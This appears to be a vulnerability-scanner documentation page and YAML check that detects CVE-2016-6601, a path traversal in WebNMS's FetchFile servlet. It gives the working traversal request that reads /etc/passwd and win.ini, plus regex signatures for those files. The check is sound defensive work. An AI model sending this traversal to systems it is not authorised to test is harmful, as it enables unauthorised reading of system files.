WebNMS — 1 vulnerability check

noctis ships 1 vulnerability check for WebNMS, covering 1 CVE; each one has to observe the bug on the live service before it reports a finding.

← All products · Feeds on GitHub

WebNMS Framework 5.2 / 5.2 SP1 FetchFile path traversal file read

CVECVE-2016-6601
Severityhigh · CVSS 7.5
Categoryfile-read — File read
Serviceshttp, https
Detectionset_var, tcp_connect, match, script · highest QoD 75
Feedtests/vulnerabilities/webnms/CVE-2016-6601.yaml

Requests the FetchFile servlet with a ../ traversal to /etc/passwd and to windows/win.ini, and reports when either file is returned (HTTP 200 + its content) without authentication while the same request for an absent file (a random missing directory before the file name) comes back without it.

How noctis detects it

  1. Raw TCP (TLS on HTTPS), sent verbatim: GET /servlets/FetchFile?fileName=../../../../../../../../../../{{target_file}} HTTP/1.0
  2. Checks probe.banner for (?m)\AHTTP/1\.[01] 200[\s\S]*^(root:[^:\n]*:0:0:|\[(fonts|extensions)…
  3. Raw TCP (TLS on HTTPS), sent verbatim: GET /servlets/FetchFile?fileName=../../../../../../../../../../noctis-absent-{{oob_token}…
  4. Parses / computes the next value with a Rhai script
  5. Checks fetch_hit for ^yes$ → finding QoD 75: WebNMS FetchFile servlet served … (HTTP 200 + file content) without authentication via GET /servlets/FetchFile?fileName=../../../../../../.…

References:

Feed source — tests/vulnerabilities/webnms/CVE-2016-6601.yaml
uid: 5e51e34e-4892-4c2d-907f-f16946f68648
name: "CVE-2016-6601 — WebNMS Framework 5.2 / 5.2 SP1 FetchFile path traversal file read (CVSS 7.5)"
description: "Requests the FetchFile servlet with a ../ traversal to /etc/passwd and to windows/win.ini, and reports when either file is returned (HTTP 200 + its content) without authentication while the same request for an absent file (a random missing directory before the file name) comes back without it."
cves: [CVE-2016-6601]
cvss: 7.5
severity: high
category: file-read
confidence_base: 0.30
tags: [webnms, zoho, network-management, lfi, path-traversal, intrusive]
services: [http, https]
author: noctis
version: "1.1.0"
references:
  - "https://nvd.nist.gov/vuln/detail/CVE-2016-6601"
  - "https://www.exploit-db.com/exploits/40229"
  - "OpenVAS NASL 2016/gb_webnms_file_upload_vuln.nasl (GPL-2.0-only)"
  - "https://github.com/projectdiscovery/nuclei-templates/blob/main/http/cves/2016/CVE-2016-6601.yaml"
# Derived from OpenVAS/Greenbone NASL 2016/gb_webnms_file_upload_vuln.nasl (GPL-2.0-only), which only
# flags a 405 from GET /servlets/FileUploadServlet — a fingerprint that any servlet container
# restricting a path to PUT would also produce, and that proves none of the four WebNMS bugs.
# This feed exercises the real primitive instead: the unauthenticated FetchFile servlet reading a
# world-readable OS file through ../ in its fileName parameter (CVE-2016-6601). It requires the file's
# own content behind a 200 — a root passwd line on Linux, or the [fonts]/[extensions] sections of
# win.ini on Windows (WebNMS ships for both; the NASL and the Nuclei template only cover one).
# Read-only and benign. The other CVEs of the advisory are deliberately not probed or claimed:
# CVE-2016-6600 would plant a JSP on the target, CVE-2016-6602 discloses cleartext passwords
# (secret exfiltration) and CVE-2016-6603 impersonates a user.
# The traversal is sent verbatim with tcp_connect so nothing normalises the ../ sequence.
# Absent-file control: a hit only records the file; the same request is then sent with a random
# missing directory before the file (../noctis-absent-<rnd>/etc/passwd), and the finding is raised
# only when that control is answered without any file signature (fail closed), so a server that
# returns the same passwd / win.ini body for every path is not reported. The finding is reported
# from a fixed value, so the raw file never lands in its evidence.
# Tagged `intrusive` + `category: file-read` so operators can exclude it.
steps:
  # One iteration per file (Linux, then Windows). The first step of the group
  # resets every per-item result, so a refused connection never leaves a source
  # undefined or carries the previous item's reply.
  - id: init-probe
    action: set_var
    var_name: probe
    var_value: {connected: false, banner: ""}
    loop:
      var: target_file
      over: ["etc/passwd", "windows/win.ini"]

  - id: init-ctrl
    action: set_var
    var_name: ctrl
    var_value: {connected: false, banner: ""}

  - id: init-hit
    action: set_var
    var_name: fetch_hit
    var_value: ""

  - id: init-ctrl-clean
    action: set_var
    var_name: ctrl_clean
    var_value: false

  - id: probe
    action: tcp_connect
    port: "{{port}}"
    send: "GET /servlets/FetchFile?fileName=../../../../../../../../../../{{target_file}} HTTP/1.0\r\nHost: {{target_host}}\r\n\r\n"
    store_as: probe

  # No finding here: the reply carries the file. Raised below once the
  # absent-file control is clean. A root passwd line, or the [fonts] /
  # [extensions] section of win.ini, behind a 200.
  - id: detect
    action: match
    source: probe.banner
    pattern: '(?m)\AHTTP/1\.[01] 200[\s\S]*^(root:[^:\n]*:0:0:|\[(fonts|extensions)\])'
    on_match:
      set_vars:
        fetch_hit: "yes"

  # ── Control: same request, absent file ──
  # A random missing directory right before the file (still ending in
  # etc/passwd or windows/win.ini), so a server that keys a fake file on that
  # name answers it too. WebNMS answers 404.
  - id: control
    action: tcp_connect
    port: "{{port}}"
    condition: 'fetch_hit != ""'
    send: "GET /servlets/FetchFile?fileName=../../../../../../../../../../noctis-absent-{{oob_token}}/{{target_file}} HTTP/1.0\r\nHost: {{target_host}}\r\n\r\n"
    store_as: ctrl

  # Fail closed: the control must have answered over HTTP, without any file content.
  - id: control-verdict
    action: script
    condition: 'fetch_hit != ""'
    code: |
      let b = ctrl.banner;
      type_of(b) == "string" && ereg("^HTTP/1\\.[01] [0-9]{3}", b) && !ereg("root:[^:\\r\\n]*:0:[01]:|\\[(fonts|extensions)\\]", b)
    store_as: ctrl_clean

  - id: report
    action: match
    source: fetch_hit
    pattern: "^yes$"
    condition: "ctrl_clean == true"
    on_match:
      finding:
        confidence_delta: 0.50
        qod: 75
        evidence: "WebNMS FetchFile servlet served {{target_file}} (HTTP 200 + file content) without authentication via GET /servlets/FetchFile?fileName=../../../../../../../../../../{{target_file}}; the same request for an absent file did not (CVE-2016-6601)"
      stop: true

View these feeds on GitHub